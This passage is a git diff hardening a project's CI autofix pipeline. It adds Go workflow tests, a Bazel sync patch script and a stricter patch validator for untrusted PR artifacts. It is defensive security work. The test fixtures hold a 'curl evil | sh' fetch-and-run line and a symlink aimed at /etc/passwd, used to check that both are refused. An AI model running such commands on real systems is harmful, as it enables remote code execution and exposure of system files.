workspace: %v", ws) + } + outputs, _ := os.ReadFile(output) + return string(out), string(outputs), filepath.Join(runner, tc.dir), err + } + listed := `{"artifacts":[{"id":6,"name":"other"},{"id":5,"name":"` + tc.artifact + `"}]}` + + t.Run("extracts only the named files", func(t *testing.T) { + entries := map[string]string{ + "evil.sh": "curl evil | sh\n", + ".github/workflows/x.yml": "on: push\n", + "scripts/docs-autofix.sh": "evil\n", + "sub/" + tc.files[0]: "nested\n", + "cli-docs-freshness.patch": "docs\n", + "bazel-sync.patch": "bazel\n", + "bazel-sync-meta.txt": "pr=7\n", + } + out, outputs, dir, err := run(t, entries, nil, listed) + if err != nil || !strings.Contains(outputs, "found=true") { + t.Fatalf("err=%v outputs=%q\n%s", err, outputs, out) + } + ents, _ := os.ReadDir(dir) + var got []string + for _, e := range ents { + got = append(got, e.Name()) + if !e.Type().IsRegular() { + t.Errorf("%s is not a regular file", e.Name()) + } + } + if strings.Join(got, ",") != strings.Join(tc.files, ",") { + t.Errorf("extracted %v, want exactly %v", got, tc.files) + } + }) + + for _, name := range tc.files { + t.Run("symlinked "+name+" is refused", func(t *testing.T) { + entries := map[string]string{} + for _, f := range tc.files { + if f != name { + entries[f] = "x\n" + } + } + out, outputs, _, err := run(t, entries, map[string]string{name: "/etc/passwd"}, listed) + if err == nil || strings.Contains(outputs, "found=true") || !strings.Contains(out, "is not a regular file") { + t.Errorf("err=%v outputs=%q\n%s", err, outputs, out) + } + }) + } + + t.Run("no artifact on the run", func(t *testing.T) { + out, outputs, _, err := run(t, map[string]string{tc.files[0]: "x\n"}, nil, `{"artifacts":[{"id":5,"name":"other"}]}`) + if err != nil || !strings.Contains(outputs, "found=false") { + t.Errorf("err=%v outputs=%q\n%s", err, outputs, out) + } + }) + }) + } +} + +// writeZip writes a zip with regular entries and Unix symlink entries +// (name -> target), as unzip restores them. +func writeZip(t *testing.T, path string, entries, symlinks map[string]string) { + t.Helper() + f, err := os.Create(path) + if err != nil { + t.Fatal(err) + } + zw := zip.NewWriter(f) + add := func(name, body string, mode os.FileMode) { + hdr := &zip.FileHeader{Name: name, Method: zip.Store} + hdr.SetMode(mode) + w, err := zw.CreateHeader(hdr) + if err != nil { + t.Fatal(err) + } + if _, err := w.Write([]byte(body)); err != nil { + t.Fatal(err) + } + } + for name, body := range entries { + add(name, body, 0o644) + } + for name, target := range symlinks { + add(name, target, os.ModeSymlink|0o777) + } + if err := zw.Close(); err != nil { + t.Fatal(err) + } + if err := f.Close(); err != nil { + t.Fatal(err) + } +} diff --git a/scripts/ci/bazel-sync-patch.sh b/scripts/ci/bazel-sync-patch.sh new file mode 100755 index 000000000..21ff0e873 --- /dev/null +++ b/scripts/ci/bazel-sync-patch.sh @@ -0,0 +1,73 @@ +#!/usr/bin/env bash +# bazel-sync-patch.sh - capture the drift `make bazel-sync` left in the +# checkout as an apply-ready patch for the bazel-autofix workflow. +# +# Usage: scripts/ci/bazel-sync-patch.sh +# +# Writes /bazel-sync.patch (`git diff --binary`, new files included) +# restricted to the paths the privileged consumer accepts, plus +# /bazel-sync-meta.txt (PR number and head SHA from PR_NUMBER and +# PR_HEAD_SHA when set). Drift outside the allowlist (third_party/patches, +# go.mod, ...) is listed but never patched: a human has to look at it. +# +# The allowlist mirrors path_allowed() in scripts/bazel-autofix-push.sh, which +# re-validates everything; that copy runs from the base branch and is the one +# that counts (scripts/ci_workflow_test.go keeps the two regexes identical). +# The working tree and the real index are left as they are. + +set -euo pipefail +export LC_ALL=C + +out="${1:?usage: bazel-sync-patch.sh }" +mkdir -p "$out" +patch="$out/bazel-sync.patch" +meta="$out/bazel-sync-meta.txt" + +BUILD_FILE_RE='^([A-Za-z0-9_+-][A-Za-z0-9_.+-]*/)*BUILD\.bazel$' + +path_allowed() { + case "$1" in + MODULE.bazel | MODULE.bazel.lock) return 0 ;; + third_party/*) return 1 ;; + esac + [[ "$1" =~ $BUILD_FILE_RE ]] +} + +# Stage everything in a throwaway index so new BUILD files (untracked) land +# in the diff without touching the checkout's own index. +index="$(mktemp)" +trap 'rm -f "$index"' EXIT +cp "$(git rev-parse --git-path index)" "$index" +GIT_INDEX_FILE="$index" git add -A -- . + +allowed=() +rejected=() +while IFS= read -r path; do + [ -n "$path" ] || continue + if path_allowed "$path"; then + allowed+=("$path") + else + rejected+=("$path") + fi +done < <(GIT_INDEX_FILE="$index" git -c core.quotePath=true diff --cached --no-renames --name-only) + +if [ "${#rejected[@]}" -gt 0 ]; then + echo "Drift outside the autofix allowlist (fix by hand, not patched):" + printf ' %s\n' "${rejected[@]}" +fi + +if [ "${#allowed[@]}" -eq 0 ]; then + echo "No auto-fixable BUILD/MODULE drift; no patch written." + rm -f "$patch" "$meta" + exit 0 +fi + +GIT_INDEX_FILE="$index" git diff --cached --binary --no-renames -- "${allowed[@]}" > "$patch" +{ + echo "pr=${PR_NUMBER:-}" + echo "head_sha=${PR_HEAD_SHA:-}" + echo "checkout_sha=$(git rev-parse HEAD)" +} > "$meta" + +echo "Wrote $patch (${#allowed[@]} file(s)):" +printf ' %s\n' "${allowed[@]}" diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index f3196fb82..bff086491 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -9,6 +9,7 @@ import ( "path/filepath" "reflect" "regexp" + "slices" "sort" "strconv" "strings" @@ -2537,3 +2538,371 @@ func TestSetupBazelRCWriter(t *testing.T) { } }) } + +const ( + bazelAutofixWorkflowName = "bazel-autofix.yml" + bazelAutofixPushScript = "scripts/bazel-autofix-push.sh" + bazelSyncPatchScript = "scripts/ci/bazel-sync-patch.sh" + bazelSyncStepName = "BUILD files in sync (gazelle, go_srcs, MODULE.bazel)" +) + +// bazel.yml's sync step stays red on drift but leaves the allowlisted part of +// the fix as the bazel-sync-patch artifact, from PR-head code that sees no +// secrets; bazel-autofix.yml is the only consumer. +func TestBazelSyncStepPublishesPatch(t *testing.T) { + job := readCIWorkflow(t, bazelWorkflowName).job(t, bazelJobName) + sync := job.step(t, bazelSyncStepName) + if sync.ID != "sync" { + t.Errorf("sync step id = %q, want sync", sync.ID) + } + patchCmd := "./" + bazelSyncPatchScript + ` "$RUNNER_TEMP/bazel-sync-patch"` + for _, required := range []string{"make bazel-sync-check || check=$?", patchCmd, "exit 1", `exit "$check"`} { + if !strings.Contains(sync.Run, required) { + t.Errorf("sync step does not contain %q:\n%s", required, sync.Run) + } + } + if i, j := strings.Index(sync.Run, patchCmd), strings.Index(sync.Run, "exit 1"); j < i { + t.Errorf("sync step must write the patch before failing") + } + for key, value := range sync.Env { + if strings.Contains(value, "secrets") { + t.Errorf("sync step env %s reads secrets; it runs PR-head code", key) + } + } + upload := job.step(t, "Upload BUILD sync patch") + if upload.If != "${{ always() && steps.sync.outcome == 'failure' }}" { + t.Errorf("patch upload if = %q; want it gated on the sync step's failure", upload.If) + } + if upload.With["name"] != "bazel-sync-patch" || upload.With["path"] != "${{ runner.temp }}/bazel-sync-patch/" || + upload.With["if-no-files-found"] != "ignore" { + t.Errorf("patch upload with = %v", upload.With) + } + if job.stepIndex(t, "Upload BUILD sync patch") != job.stepIndex(t, bazelSyncStepName)+1 { + t.Errorf("patch upload must directly follow the sync step") + } +} + +// bazel-autofix.yml runs with write permissions via workflow_run, so it must +// never check out or execute PR code: the base branch's checkout, one trusted +// script, the artifact as data, no expressions in run bodies, and the push +// token visible only to the push step. +func TestBazelAutofixWorkflowSecurity(t *testing.T) { + rel := filepath.Join(".github", "workflows", bazelAutofixWorkflowName) + root := readYAMLNode(t, rel) + + if got := yamlMapKeys(root, "on"); !reflect.DeepEqual(got, []string{"workflow_run"}) { + t.Errorf("triggers = %v, want exactly [workflow_run] (never pull_request_target)", got) + } + var doc struct { + On struct { + WorkflowRun struct { + Workflows []string `yaml:"workflows"` + Types []string `yaml:"types"` + } `yaml:"workflow_run"` + } `yaml:"on"` + Permissions map[string]string `yaml:"permissions"` + } + if err := root.Decode(&doc); err != nil { + t.Fatal(err) + } + // Only "Bazel" (bazel.yml on pull_request) uploads bazel-sync-patch. Any + // other trigger would only ever be a no-op run (and, with a shared + // concurrency group, could get in a real fix's way). + if want := []string{"Bazel"}; !reflect.DeepEqual(doc.On.WorkflowRun.Workflows, want) { + t.Errorf("workflow_run.workflows = %v, want %v", doc.On.WorkflowRun.Workflows, want) + } + requireWorkflowProducesArtifact(t, bazelWorkflowName, "Bazel", "bazel-sync-patch") + if !reflect.DeepEqual(doc.On.WorkflowRun.Types, []string{"completed"}) { + t.Errorf("workflow_run.types = %v, want [completed]", doc.On.WorkflowRun.Types) + } + wantPerms := map[string]string{"contents": "write", "pull-requests": "write", "actions": "read"} + if !reflect.DeepEqual(doc.Permissions, wantPerms) { + t.Errorf("permissions = %v, want exactly %v", doc.Permissions, wantPerms) + } + + workflow := readCIWorkflow(t, bazelAutofixWorkflowName) + if len(workflow.Jobs) != 1 { + t.Fatalf("%s has %d jobs, want 1", bazelAutofixWorkflowName, len(workflow.Jobs)) + } + job := workflow.job(t, "autofix") + for _, cond := range []string{"github.event.workflow_run.event == 'pull_request'", "github.event.workflow_run.conclusion == 'failure'"} { + if !strings.Contains(job.If, cond) { + t.Errorf("job if = %q lacks %q", job.If, cond) + } + } + if job.TimeoutMinutes == 0 { + t.Error("autofix job has no timeout-minutes") + } + + var checkouts int + for _, step := range job.Steps { + if step.Uses != "" { + family, sha, _ := strings.Cut(step.Uses, "@") + if family != "actions/checkout" || sha != checkoutSHA { + t.Errorf("step %q uses %q; only actions/checkout@%s is allowed", step.Name, step.Uses, checkoutSHA) + } + if !reflect.DeepEqual(step.With, map[string]string{"persist-credentials": "false"}) { + t.Errorf("checkout has with %v; want only persist-credentials: false (base default branch, never a PR ref, no token on disk)", step.With) + } + checkouts++ + } + // Event fields (branch names, commit messages) are attacker text: + // pass them through env, never interpolate them into a script. + if strings.Contains(step.Run, "${{") { + t.Errorf("step %q interpolates an expression into run", step.Name) + } + if regexp.MustCompile(`\bgit\s+(checkout|fetch|clone|worktree)\b|\bgh\s+pr\s+checkout\b|\bmake\b|\bgo\s+(run|build|test)\b`).MatchString(step.Run) { + t.Errorf("step %q fetches or runs code in the workflow itself:\n%s", step.Name, step.Run) + } + } + if checkouts != 1 { + t.Errorf("want exactly one checkout step, got %d", checkouts) + } + push := job.step(t, "Push sync commit or leave apply recipe") + if strings.TrimSpace(push.Run) != "./"+bazelAutofixPushScript { + t.Errorf("push step run = %q, want ./%s", push.Run, bazelAutofixPushScript) + } + download := job.step(t, "Download BUILD sync patch (if any)") + if !strings.Contains(download.Run, `select(.name == "bazel-sync-patch")`) || + !strings.Contains(download.Run, "bazel-sync.patch bazel-sync-meta.txt -d") { + t.Errorf("download step must fetch bazel-sync-patch and extract only its two files:\n%s", download.Run) + } + for key, want := range map[string]string{ + "HEAD_REPO": "${{ github.event.workflow_run.head_repository.full_name }}", + "HEAD_BRANCH": "${{ github.event.workflow_run.head_branch }}", + "HEAD_SHA": "${{ github.event.workflow_run.head_sha }}", + "GH_TOKEN": "${{ github.token }}", + "PUSH_TOKEN": "${{ secrets.DOCS_AUTOFIX_TOKEN || github.token }}", + "AUTOFIX_TOKEN_KIND": "${{ secrets.DOCS_AUTOFIX_TOKEN && 'pat' || 'default' }}", + } { + if got := push.Env[key]; got != want { + t.Errorf("push step env %s = %q, want %q", key, got, want) + } + } + + // Secrets: only the push step's PUSH_TOKEN / AUTOFIX_TOKEN_KIND, and only + // the docs autofix token that this workflow shares. + pushIndex := job.stepIndex(t, push.Name) + secretRef := regexp.MustCompile(`\bsecrets\s*(\.|\[)`) + allowed := map[string]bool{ + fmt.Sprintf(".jobs.autofix.steps[%d].env.PUSH_TOKEN", pushIndex): true, + fmt.Sprintf(".jobs.autofix.steps[%d].env.AUTOFIX_TOKEN_KIND", pushIndex): true, + } + walkYAML(root, "", func(path string, key bool, value string) { + if key || !secretRef.MatchString(value) { + return + } + if !allowed[path] { + t.Errorf("%s: %s reads secrets (%q)", bazelAutofixWorkflowName, path, value) + } + if refs := regexp.MustCompile(`secrets\.([A-Za-z0-9_]+)`).FindAllStringSubmatch(value, -1); len(refs) == 0 { + t.Errorf("%s: %s uses a non-literal secrets reference", bazelAutofixWorkflowName, path) + } else { + for _, ref := range refs { + if ref[1] != "DOCS_AUTOFIX_TOKEN" { + t.Errorf("%s: %s reads secret %s; only DOCS_AUTOFIX_TOKEN is shared with this workflow", bazelAutofixWorkflowName, path, ref[1]) + } + } + } + }) +} + +// requireWorkflowProducesArtifact: the workflow a workflow_run trigger names +// runs on pull_request and uploads the artifact the autofix job consumes. +func requireWorkflowProducesArtifact(t *testing.T, file, name, artifact string) { + t.Helper() + node := readYAMLNode(t, filepath.Join(".github", "workflows", file)) + if got := yamlScalar(node, "name"); got != name { + t.Errorf("%s name = %q, want %q (the workflow_run trigger names it)", file, got, name) + } + if !slices.Contains(yamlMapKeys(node, "on"), "pull_request") { + t.Errorf("%s has no pull_request trigger; the autofix job only acts on PR runs", file) + } + var uploads bool + for _, job := range readCIWorkflow(t, file).Jobs { + for _, step := range job.Steps { + if strings.HasPrefix(step.Uses, "actions/upload-artifact@") && step.With["name"] == artifact { + uploads = true + } + } + } + if !uploads { + t.Errorf("%s never uploads %s; the workflow_run trigger on it would be dead", file, artifact) + } +} + +// Both autofix workflows push to the same PR branches. Job-level concurrency +// (skipped runs take no part) in ONE group per head branch, never cancelling: +// they queue instead of racing, and an unrelated completion cannot cancel a +// fix in flight. +func TestAutofixWorkflowsShareConcurrency(t *testing.T) { + const group = "autofix-${{ github.event.workflow_run.head_repository.full_name }}-${{ github.event.workflow_run.head_branch }}" + for _, file := range []string{bazelAutofixWorkflowName, "docs-autofix.yml"} { + root := readYAMLNode(t, filepath.Join(".github", "workflows", file)) + if slices.ContainsFunc(root.Content, func(n *yaml.Node) bool { return n.Value == "concurrency" }) { + t.Errorf("%s has workflow-level concurrency; it must be on the job so skipped runs take no part", file) + } + var doc struct { + Jobs map[string]struct { + Concurrency struct { + Group string `yaml:"group"` + CancelInProgress *bool `yaml:"cancel-in-progress"` + } `yaml:"concurrency"` + TimeoutMinutes int `yaml:"timeout-minutes"` + Steps []ciWorkflowStep `yaml:"steps"` + } `yaml:"jobs"` + } + if err := root.Decode(&doc); err != nil { + t.Fatal(err) + } + job, ok := doc.Jobs["autofix"] + if !ok || len(doc.Jobs) != 1 { + t.Fatalf("%s: want exactly one job, autofix", file) + } + if job.Concurrency.Group != group { + t.Errorf("%s job concurrency group = %q, want %q", file, job.Concurrency.Group, group) + } + if job.Concurrency.CancelInProgress == nil || *job.Concurrency.CancelInProgress { + t.Errorf("%s job concurrency must set cancel-in-progress: false", file) + } + // A hung run holds the shared, non-cancelling group: bound it. + if job.TimeoutMinutes != 10 { + t.Errorf("%s autofix job timeout-minutes = %d, want 10", file, job.TimeoutMinutes) + } + for _, step := range job.Steps { + if strings.HasPrefix(step.Uses, "actions/checkout@") && step.With["persist-credentials"] != "false" { + t.Errorf("%s checkout keeps the workflow token in .git/config; set persist-credentials: false", file) + } + } + } + requireWorkflowProducesArtifact(t, "pr.yml", "PR", "cli-docs-freshness-patch") +} + +// The two push scripts share their security-critical functions verbatim, and +// both apply the same hardening. +func TestAutofixScriptsShareGuards(t *testing.T) { + root := sourceRepoRoot(t) + bazel := readPolicyFile(t, root, bazelAutofixPushScript) + docs := readPolicyFile(t, root, "scripts/docs-autofix-push.sh") + for _, name := range []string{"git_", "validate_patch", "check_staged", "post_or_update_comment", "head_branch_protected"} { + re := regexp.MustCompile(`(?ms)^` + regexp.QuoteMeta(name) + `\(\) \{\n.*?^\}\n`) + a, b := re.FindString(bazel), re.FindString(docs) + if a == "" || a != b { + t.Errorf("%s() differs between %s and docs-autofix-push.sh (or is missing)", name, bazelAutofixPushScript) + } + } + validator := regexp.MustCompile(`(?ms)^validate_patch\(\) \{\n.*?^\}\n`).FindString(bazel) + for _, want := range []string{ + // Any rename/copy header, including legacy "rename old/new". + `rename |copy |`, + // Every index line, not only hex ones. + `grep -E '^index ' "$file" | grep -qvE '^index [0-9a-f]+\.\.[0-9a-f]+( 100644)?$'`, + `git apply --summary "$file"`, + `git apply --numstat -z "$file"`, + } { + if !strings.Contains(validator, want) { + t.Errorf("validate_patch lacks %q", want) + } + } + for script, body := range map[string]string{bazelAutofixPushScript: bazel, "scripts/docs-autofix-push.sh": docs} { + for _, want := range []string{ + `select(.user.login == \"$COMMENT_AUTHOR\" and`, + `COMMENT_AUTHOR="github-actions[bot]"`, + `"--force-with-lease=refs/heads/$HEAD_BRANCH:$HEAD_SHA"`, + `gh api "repos/$BASE_REPO/branches/$enc"`, + `gh api "repos/$BASE_REPO/rules/branches/$enc"`, + `(.base.repo.full_name // "") == $base`, + "export GIT_LFS_SKIP_SMUDGE=1", + "git -c core.hooksPath=/dev/null", + // Only the branches the run needs, never a whole-repo clone. + "git_ init --quiet --bare", + "fetch --quiet --no-tags --filter=blob:none origin", + `"+refs/heads/$HEAD_BRANCH:refs/autofix/head"`, + // The circuit breaker reads the fetched commit and fails closed. + `if ! HEAD_SUBJECT="$(git_ log -1 --format=%s "$HEAD_SHA")" || [[ "$HEAD_SUBJECT" == "$AUTOFIX_SUBJECT"* ]]; then`, + `if length == 1 then .[0]`, + `git_ read-tree "$HEAD_SHA"`, + "apply --cached", + `check_staged "$HEAD_SHA"`, + } { + if !strings.Contains(body, want) { + t.Errorf("%s lacks %q", script, want) + } + } + // Heredocs hold the human recipe (git apply --index, git push), not + // commands this script runs. + code := regexp.MustCompile(`(?ms)<<'?EOF'?\n.*?^EOF\n`).ReplaceAllString(body, "") + if regexp.MustCompile(`\bgit_?\s+(-c\s+\S+\s+)*(checkout|switch|worktree|restore|reset|stash)\b|apply --index`).MatchString(code) { + t.Errorf("%s writes the PR tree to disk; apply to the index only", script) + } + if strings.Index(code, "if head_branch_protected;") > strings.Index(code, "push --quiet") { + t.Errorf("%s must check branch protection before pushing", script) + } + if regexp.MustCompile(`(?m)^\s*[^#\s][^#\n]*(\bclone\b|/commits/)`).MatchString(code) { + t.Errorf("%s clones the whole repository or reads commits through the API", script) + } + if strings.Contains(code, "fetch") && strings.Count(code, " fetch ") != 1 { + t.Errorf("%s: want exactly one fetch (head, plus base for attribution)", script) + } + // Every git command goes through git_ (no hooks), except the + // repository-free `git apply --summary/--numstat` of the validator. + for _, m := range regexp.MustCompile(`(?m)(?:^\s*|[;&|!(]\s*|\$\(\s*)git\s+(\S+)`).FindAllStringSubmatch(code, -1) { + if m[1] != "apply" && m[1] != "-c" { + t.Errorf("%s: git %s runs without the git_ wrapper", script, m[1]) + } + } + if n, m := strings.Count(code, "git -c "), strings.Count(code, "git -c core.hooksPath=/dev/null "); n != 1 || m != 1 { + t.Errorf("%s: want exactly one raw `git -c` call, git_'s core.hooksPath=/dev/null; got %d", script, n) + } + } +} + +// The producer (PR code) and the consumer (base-branch code) must agree on +// the allowlist, or every patch would be refused; the consumer's copy is the +// one that is enforced. +func TestBazelAutofixAllowlistsMatch(t *testing.T) { + re := regexp.MustCompile(`(?m)^BUILD_FILE_RE='([^']+)'$`) + caseRe := regexp.MustCompile(`(?m)^\s+(MODULE\.bazel \| MODULE\.bazel\.lock\) return 0 ;;\n\s+third_party/\*\) return 1 ;;)$`) + want := `^([A-Za-z0-9_+-][A-Za-z0-9_.+-]*/)*BUILD\.bazel$` + for _, script := range []string{bazelAutofixPushScript, bazelSyncPatchScript} { + body := readPolicyFile(t, sourceRepoRoot(t), script) + m := re.FindStringSubmatch(body) + if m == nil || m[1] != want { + t.Errorf("%s BUILD_FILE_RE = %v, want %q", script, m, want) + } + if !caseRe.MatchString(body) { + t.Errorf("%s lacks the MODULE.bazel / third_party cases of path_allowed", script) + } + } + compiled := regexp.MustCompile(want) + for path, ok := range map[string]bool{ + "BUILD.bazel": true, + "cmd/bd/BUILD.bazel": true, + "internal/storage/dolt/BUILD.bazel": true, + "a_b/c-d/e.f/BUILD.bazel": true, + ".github/BUILD.bazel": false, + "a/../BUILD.bazel": false, + "../BUILD.bazel": false, + "/BUILD.bazel": false, + "a//BUILD.bazel": false, + "a/.hidden/BUILD.bazel": false, + "BUILD.bazel.go": false, + "xBUILD.bazel": false, + "a/BUILD": false, + "a b/BUILD.bazel": false, + `"a\tb/BUILD.bazel"`: false, + } { + if compiled.MatchString(path) != ok { + t.Errorf("BUILD_FILE_RE matches %q = %v, want %v", path, !ok, ok) + } + } +} + +func yamlScalar(node *yaml.Node, key string) string { + for i := 0; i+1 < len(node.Content); i += 2 { + if node.Content[i].Value == key { + return node.Content[i+1].Value + } + } + return "" +} diff --git a/scripts/docs-autofix-push.sh b/scripts/docs-autofix-push.sh index db9d5c3f5..8f7cebe66 100755 --- a/scripts/docs-autofix-push.sh +++ b/scripts/docs-autofix-push.sh @@ -6,11 +6,21 @@ # Runs on the PRIVILEGED side of the docs-autofix workflow_run pipeline: the # checkout is always the base repository's default branch (trusted code), and # the patch produced by the unprivileged PR build is treated as UNTRUSTED DATA. -# Confinement is layered: the path allowlist below pins WHICH files a patch may -# name (anchored regexes, single path segment, no traversal, no symlink modes), -# and `git apply --index` supplies the underlying escape guards (rejects `..` -# paths, absolute paths, and writes through in-patch symlinks). A hostile patch -# can therefore at most rewrite generated doc files on its own PR branch. +# Confinement is layered: +# * the path allowlist below pins WHICH files a patch may name (anchored +# regexes, single path segment, no traversal); +# * any mode line, symlink, rename/copy or binary hunk is refused, so only +# regular 100644 files are created, edited or deleted; +# * the patch is applied to an index only (`git read-tree` + `git apply +# --cached` in a bare clone): the PR tree is never written to disk, and +# git's own guards reject `..`/absolute paths and in-patch symlinks; +# * the staged result is re-checked against the same allowlist. +# A hostile patch can therefore at most rewrite generated doc files on its own +# PR branch. +# +# Usage: +# docs-autofix-push.sh validate, then push or comment (env below) +# docs-autofix-push.sh --check P validate patch P only; exit 0 if acceptable # # Inputs (environment): # BASE_REPO base "owner/name" (e.g. gastownhall/beads) @@ -23,28 +33,25 @@ # RUN_URL html url of that run (for commit/comment provenance) # GH_TOKEN token for gh api calls (PR lookup, comments) - needs the # workflow's pull-requests:write; never the PAT -# PUSH_TOKEN token for the git push only (optional; defaults to GH_TOKEN), -# so a dedicated DOCS_AUTOFIX_TOKEN needs contents:write only +# PUSH_TOKEN token for git fetch/push only (optional; defaults to +# GH_TOKEN), so a dedicated DOCS_AUTOFIX_TOKEN needs +# contents:write only # AUTOFIX_TOKEN_KIND "pat" when a dedicated push token is in use, "default" # for the workflow's GITHUB_TOKEN (retrigger caveat) # # Exit 0 on every non-actionable outcome (PR closed, head moved, no patch); -# exit 1 only on genuine errors so the workflow surfaces them. +# exit 1 on a refused patch or a genuine error so the workflow surfaces them. set -euo pipefail - -if [ -z "${HEAD_REPO:-}" ] || [ -z "${HEAD_BRANCH:-}" ]; then - echo "Head repository/branch unavailable (deleted fork?); nothing to do." - exit 0 -fi -: "${BASE_REPO:?}" "${HEAD_SHA:?}" -: "${PATCH_FILE:?}" "${RUN_ID:?}" "${RUN_URL:?}" "${GH_TOKEN:?}" -AUTOFIX_TOKEN_KIND="${AUTOFIX_TOKEN_KIND:-default}" -PUSH_TOKEN="${PUSH_TOKEN:-$GH_TOKEN}" -PATCH_FILE="$(readlink -f "$PATCH_FILE")" +export LC_ALL=C +# Nothing from the PR tree may run: no LFS smudge, no prompts. +export GIT_LFS_SKIP_SMUDGE=1 GIT_TERMINAL_PROMPT=0 COMMENT_MARKER="" AUTOFIX_SUBJECT="docs: auto-regenerate CLI reference" +# Comments are only ever edited when this account wrote them: anyone can post +# a comment that starts with the marker. +COMMENT_AUTHOR="github-actions[bot]" # Files the doc generators may write - keep in sync with GEN_PATHSPECS in # scripts/check-cli-docs-drift.sh. Anchored, single path segment where a @@ -58,74 +65,169 @@ path_allowed() { return 1 } +# Every git call: no hooks, whatever config a clone might carry. +git_() { + git -c core.hooksPath=/dev/null -c core.fsmonitor=false "$@" +} + +# validate_patch FILE: refuse anything but plain text edits to regular files +# that path_allowed accepts. Shared verbatim with bazel-autofix-push.sh +# (scripts/ci_workflow_test.go checks), which documents each rule. +validate_patch() { + local file="$1" line path names bad="" count=0 + # No mode change, symlink, rename or copy, binary hunk. ANY line starting + # "rename " or "copy " is refused: git apply also accepts the legacy + # "rename old"/"rename new" headers, which name a second path. + if grep -qE '^(old mode|new mode|similarity index|dissimilarity index|rename |copy |GIT binary patch|Binary files )' "$file"; then + echo "REFUSED: patch contains a mode change, rename/copy or binary hunk." + return 1 + fi + if grep -E '^(new file mode|deleted file mode) ' "$file" | grep -qvE '^(new file mode|deleted file mode) 100644$'; then + echo "REFUSED: patch creates or deletes a non-regular (symlink/executable/submodule) file." + return 1 + fi + # Every index line, whatever its ids look like, must be "index A..B" or + # "index A..B 100644"; a malformed id cannot hide a mode from this check. + if grep -E '^index ' "$file" | grep -qvE '^index [0-9a-f]+\.\.[0-9a-f]+( 100644)?$'; then + echo "REFUSED: patch has an index line that is not a regular 100644 file." + return 1 + fi + # --summary is git's own view of creations, deletions, renames, copies, + # mode changes and rewrites; only 100644 creations/deletions may appear. + if ! names="$(git apply --summary "$file")"; then + echo "REFUSED: git apply cannot parse the patch." + return 1 + fi + while IFS= read -r line; do + case "$line" in + "") continue ;; + " create mode 100644 "*) path="${line# create mode 100644 }" ;; + " delete mode 100644 "*) path="${line# delete mode 100644 }" ;; + *) + echo "REFUSED: patch summary has an unexpected entry: $line" + return 1 + ;; + esac + path_allowed "$path" || bad="${bad} ${path}\n" + done <<<"$names" + # --numstat -z prints "addeddeletedNAME" with NAME raw + # (never quoted) and, for a rename, only the NEW name - hence the header + # and --summary checks above. The last read field keeps any tab/newline. + names="$(mktemp)" + if ! git apply --numstat -z "$file" >"$names"; then + rm -f "$names" + echo "REFUSED: git apply cannot parse the patch." + return 1 + fi + while IFS=$'\t' read -r -d '' _ _ path; do + count=$((count + 1)) + path_allowed "$path" || bad="${bad} ${path}\n" + done <"$names" + rm -f "$names" + if [ "$count" -eq 0 ]; then + echo "REFUSED: patch names no files." + return 1 + fi + if [ -n "$bad" ]; then + printf 'REFUSED: patch touches paths outside the allowlist:\n%b' "$bad" + return 1 + fi +} + +# check_staged COMMIT: the index (after git apply --cached) differs from +# COMMIT only by regular-file adds/edits/deletes of allowlisted paths. Sets +# STAGED_PATHS. Shared verbatim with bazel-autofix-push.sh. +check_staged() { + local base="$1" meta path raw src_mode dst_mode status err="" + STAGED_PATHS=() + raw="$(mktemp)" + # -z --raw records: ":SRCMODE DSTMODE SRCSHA DSTSHA STATUSPATH". + git_ diff-index --cached --raw --no-renames -z "$base" >"$raw" + while IFS= read -r -d '' meta && IFS= read -r -d '' path; do + read -r src_mode dst_mode _ _ status <<<"$meta" + case "$src_mode $dst_mode $status" in + ":100644 100644 M" | ":000000 100644 A" | ":100644 000000 D") ;; + *) err="REFUSED: staged change is not a regular-file edit: $meta $path" && break ;; + esac + if ! path_allowed "$path"; then + err="REFUSED: staged change outside the allowlist: $meta $path" && break + fi + STAGED_PATHS+=("$path") + done <"$raw" + rm -f -- "$raw" + if [ -n "$err" ]; then + echo "$err" + return 1 + fi +} + +if [ "${1:-}" = "--check" ]; then + [ -s "${2:-}" ] || { echo "usage: $0 --check " >&2; exit 2; } + validate_patch "$2" + echo "OK: patch touches only generated CLI docs." + exit 0 +fi + +if [ -z "${HEAD_REPO:-}" ] || [ -z "${HEAD_BRANCH:-}" ]; then + echo "Head repository/branch unavailable (deleted fork?); nothing to do." + exit 0 +fi +: "${BASE_REPO:?}" "${HEAD_SHA:?}" +: "${PATCH_FILE:?}" "${RUN_ID:?}" "${RUN_URL:?}" "${GH_TOKEN:?}" +AUTOFIX_TOKEN_KIND="${AUTOFIX_TOKEN_KIND:-default}" +PUSH_TOKEN="${PUSH_TOKEN:-$GH_TOKEN}" + if [ ! -s "$PATCH_FILE" ]; then echo "No patch content; nothing to do." exit 0 fi +PATCH_FILE="$(readlink -f "$PATCH_FILE")" +if ! [[ "$HEAD_SHA" =~ ^[0-9a-f]{40}$ ]]; then + echo "HEAD_SHA is not a commit id: $HEAD_SHA" >&2 + exit 1 +fi # --- Validate the untrusted patch -------------------------------------------- -# Generated docs are regular files; refuse any symlink (120000) mode before -# git apply can materialize one at an allowlisted path. -if grep -qE '^(new|old) file mode 120000$|^new mode 120000$' "$PATCH_FILE"; then - echo "REFUSED: patch introduces a symlink mode." - exit 1 -fi - -# --numstat prints "addeddeletedpath"; renames appear as -# "old => new" forms, which the allowlist match rejects. -BAD_PATHS="" -while IFS=$'\t' read -r _ _ path; do - [ -n "$path" ] || continue - if ! path_allowed "$path"; then - BAD_PATHS="${BAD_PATHS}${path}\n" - fi -done < <(git apply --numstat "$PATCH_FILE") - -if [ -n "$BAD_PATHS" ]; then - printf 'REFUSED: patch touches paths outside the generated-docs allowlist:\n%b' "$BAD_PATHS" - exit 1 -fi +validate_patch "$PATCH_FILE" # --- Resolve the PR and confirm the patch is still current ------------------- # List-and-filter client side: branch names with URL metacharacters would -# corrupt a ?head= query string, and jq --arg needs no encoding. +# corrupt a ?head= query string, and jq --arg needs no encoding. The PR must +# target this repository. One head branch can back several open PRs (into +# different bases); this artifact names no PR, so an ambiguous match is +# skipped rather than guessed. PULLS_JSON="$(gh api --paginate "repos/$BASE_REPO/pulls?state=open&per_page=100")" -PR_MATCH="$(printf '%s' "$PULLS_JSON" | jq -r -s --arg repo "$HEAD_REPO" --arg branch "$HEAD_BRANCH" \ - 'add | [ .[] | select(.head.ref == $branch and (.head.repo.full_name // "") == $repo) ] - | .[0] | if . == null then "" else "\(.number) \(.head.sha)" end')" -PR_NUMBER="${PR_MATCH%% *}" -PR_HEAD_NOW="${PR_MATCH##* }" - -if 